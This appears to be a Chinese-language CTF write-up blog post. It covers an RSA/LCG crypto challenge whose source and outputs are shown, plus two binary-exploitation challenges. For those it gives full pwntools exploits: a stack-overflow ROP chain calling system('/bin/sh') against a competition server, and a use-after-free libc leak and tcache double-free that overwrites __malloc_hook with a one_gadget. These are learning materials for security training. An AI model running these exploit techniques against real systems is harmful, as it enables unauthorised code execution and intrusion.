• 不太清楚这个比赛的题目附件能不能放出,所以就先不放出了

Crypto

RandomRSA

  • 题目描述:A特工从敌方服务器获取到了一份带有hint的机密文件,请协助破解加密。

  • 附件如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
import gmpy2
import random
from secret import flag
from Crypto.Util.number import *

class LCG:
def __init__(self,p,a,b):
self.p=p
self.a=a
self.b=b
self.x=random.randint(0,p-1)
print(self.p,self.a,self.b)

def next(self):
self.x=(self.a*self.x+self.b)%self.p
return self.x

def getPrimes(bits,k):
p=getPrime(bits)
a=random.randint(0,p-1)
b=random.randint(0,p-1)
l=LCG(p,a,b)
return [gmpy2.next_prime(l.next()) for _ in range(k)]

p,q=getPrimes(1024,2)
n=p*q
e=65537
m=bytes_to_long(flag)
c=pow(m,e,n)
print(n,c)
'''
170302223332374952785269454020752010235000449292324018706323228421794605831609342383813680059406887437726391567716617403068082252456126724116360291722050578106527815908837796377811535800753042840119867579793401648981916062128752925574017615120362457848369672169913701701169754804744410516724429370808383640129 95647398016998994323232737206171888899957187357027939982909965407086383339418183844601496450055752805846840966207033179756334909869395071918100649183599056695688702272113280126999439574017728476367307673524762493771576155949866442317616306832252931038932232342396406623324967479959770751756551238647385191314 122891504335833588148026640678812283515533067572514249355105863367413556242876686249628488512479399795117688641973272470884323873621143234628351006002398994272892177228185516130875243250912554684234982558913267007466946601210297176541861279902930860851219732696973412096603548467720104727887907369470758901838
5593134172275186875590245131682192688778392004699750710462210806902340747682378400226605648011816039948262008066066650657006955703136928662067931212033472838067050429624395919771757949640517085036958623280188133965150285410609475158882527926240531113060812228408346482328419754802280082212250908375099979058307437751229421708615341486221424596128137575042934928922615832987202762651904056934292682021963290271144473446994958975487980146329697970484311863524622696562094720833240915154181032649358743041246023013296745195478603299127094103448698060367648192905729866897074234681844252549934531893172709301411995941527 2185680728108057860427602387168654320024588536620246138642042133525937248576850574716324994222027251548743663286125769988360677327713281974075574656905916643746842819251899233266706138267250441832133068661277187507427787343897863339824140927640373352305007520681800240743854093190786046280731148485148774188448658663250731076739737801267702682463265663725900621375689684459894544169879873344003810307496162858318574830487480360419897453892053456993436452783099460908947258094434884954726862549670168954554640433833484822078996925040310316609425805351183165668893199137911145057639657709936762866208635582348932189646
'''

PWN

FlowerShop

  • 得到附件后先查看一下保护机制,只开启了NX保护

image-20240908150715800

  • 然后拖入IDA静态分析一下,先查看main函数里面的内容,发现有system函数。

image-20240908151005447

  • 注意到read使用read函数可以写入user_name0x3D字节,但是user_name只有0x34个字节,这边会存在一个栈溢出的情况。

image-20240908151149150

  • 现在先查看一下main函数的栈,发现user_money的栈地址比user_name栈地址更高,这样就可以栈溢出修改money的值,然后可以得到足够的money,还注意到在user_moneyuser_name直接存在一个src变量。通过上面的源码分析src类似于canary机制来防止栈溢出。但是这个Canary保护的值已经给泄露,该值就是pwn

image-20240908151436495

image-20240908151443831

  • 然后到shop函数,发现购买magic可以得到/bin/sh

image-20240908151741601

  • 之后发现check可以修改read可写的范围,满足条件后直接栈溢出,构造rop链

image-20240908151833761

image-20240908151840929

  • 然后就是写exp了
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
from pwn import *
context(log_level='debug')
p = process('./shop')
p = remote('8.147.131.74',20909)
a1 = '请输入购买的商品序号:\n'.encode('utf-8')
a2 = '你想要继续买花吗? 1/0\n'.encode('utf-8')
def shopp(choice,then):
p.sendlineafter(a1,choice.encode('utf-8'))
p.sendlineafter(a2,then.encode('utf-8'))

a = '请输入你的姓名:\n'.encode("utf-8")
c = '请输入你的选项:\n'.encode("utf-8")
ret = 0x4006f6
pop_rdi = 0x400f13
sys_addr = 0x400730
sh_addr = 0x601840
payload1 = b'A'*0x34 + b'pwn\x00' + p64(0x1000)
#gdb.attach(p)
p.sendlineafter(a,payload1,timeout=1)
payload1 = b'a'
p.sendlineafter(c,payload1,timeout=1)
shopp('a','1')
shopp('a','1')
shopp('c','1')
payload2 = b'a'*0x18 +p64(ret) +p64(pop_rdi) + p64(sh_addr) + p64(sys_addr)
p.sendlineafter(a1,b'b')
p.sendlineafter(a2,payload2)
p.interactive()

Kylin_Heap

  • 目前还是没办法复现,先贴个别人的wp,省得之后复现还要去找别人的wp,忘了这个exp的来源了
  • 学习了unlink之后,再来看这题别人写的wp,感觉就纯纯一个堆的模版题目,利用思路:UAF对unsorted_bin攻击泄露libc的地址,然后double_free去攻击teatche劫持malloc_hook
  • 先来复现一下UAF对unsorted_bin攻击泄露libc地址
  • 首先使用IDA打开该二进制文件,同时运行该程序,更好的知道程序运行的逻辑
  • 根据运行逻辑和菜单,可以得到符号表的大致操作

image-20241018171953373

  • 下面先分析add函数的逻辑
    • 允许用户申请指定1到1280字节大小的堆块,并且会把申请堆块的大小保存在qword_4060这个数组中
    • 然后malloc申请堆块
    • 向堆块输入内容,但是不存在溢出的情况
image-20241018172230194
  • delete函数的逻辑:free掉指定堆块,但是这里free后指针没有置0,存在UAF漏洞

image-20241018172416844

  • edit函数的逻辑,向堆块重新输入不大于申请过来大小的内容
image-20241018172936941
  • show函数,输出指定堆块里面的内容

image-20241018173028859

  • 这题没有堆溢出,所以不能利用off_by_one的方法来进行攻击,但是可以使用UAFdouble_free的方法来利用漏洞
  • 所以先使用UAF漏洞来泄露main_arena的地址,从而泄露libc的基址,泄露libc,这里要注意由于这是高版本的堆,存在tcache,所以如果申请0x100大小的堆不会像低版本那样会释放后放入unsorted_bin,所以要申请得更大一些,比如申请0x440
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
from pwn import *
p = process('./Heap')
context(log_level='debug')
gdb.attach(p)
def add(size,context):
p.sendlineafter(b'adventurer?',b'1')
p.sendlineafter(b'1280 bytes):',str(size).encode('utf-8'))
p.sendlineafter(b'bytes):\n',context)

def free(index):
p.sendlineafter(b'adventurer?',b'2')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))

def edit(index,context):
p.sendlineafter(b'adventurer?',b'3')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))
p.sendlineafter(b'bytes):\n',context)

def show(index):
p.sendlineafter(b'adventurer?',b'4')
p.sendlineafter(b'index (0-19):',str(index).encode('utf-8'))

add(0x440,b'aaaa')
add(0x440,b'aaaa')
free(0)
show(0)
arena_addr = p.recvuntil(b'Revealing the contents of block [0]:\n')
arena_addr = p.recvline()[:-1]
print('arena_addr------>',arena_addr)
p.interactive()
  • 泄露出libc地址后,接下来就要使用double free
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
from pwn import *
context.log_level = "debug"
context.terminal = ["wt.exe","wsl"]

libc = ELF("libc.so.6")
def get_p(file):
elf = ELF(file)
p = elf.process()
#p = remote("8.147.129.22",32449)
return p,elf

def debug():
pause()
gdb.attach(p)
sleep(2)

p,elf = get_p("./Heap")


'''
def xxx():
    p.sendlineafter()
    p.sendlineafter()
    p.sendlineafter()
'''


def add_heap(size,content):
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",str(size))
p.sendlineafter(b"bytes):\n",content)


def free_heap(idx):
p.sendlineafter(b"adventurer? ",b"2")
p.sendlineafter(b": ",str(idx))

def edit_heap(idx,content):
p.sendlineafter(b"adventurer? ",b"3")
p.sendlineafter(b": ",str(idx))
p.sendlineafter(b":\n",content)

def show_heap(idx):
p.sendlineafter(b"adventurer? ",b"4")
p.sendlineafter(b": ",str(idx))


add_heap(0x440,b"A") #chunk 0
add_heap(0x440,b"A") #chunk 1


free_heap(0)
show_heap(0)

libc.address = u64(p.recvuntil(b"\x7f")[-6:].ljust(8,b"\x00")) - 0x1ebbe0
log.success("libc =" + hex(libc.address))
malloc_hook = libc.sym["__malloc_hook"]

add_heap(0x10,b"A") #chunk 2
add_heap(0x10,b'A') #chunk 3

free_heap(2)
free_heap(3)

edit_heap(3,p64(malloc_hook))

one_gadgets = [0xe6c7e,0xe6c81,0xe6c84]
og = libc.address + one_gadgets[1]

add_heap(0x10,b"A")
add_heap(0x10,p64(og))

p.sendlineafter(b"adventurer? ",str(1).encode('utf-8'))
p.sendlineafter(b"bytes): ",b"10")
p.interactive()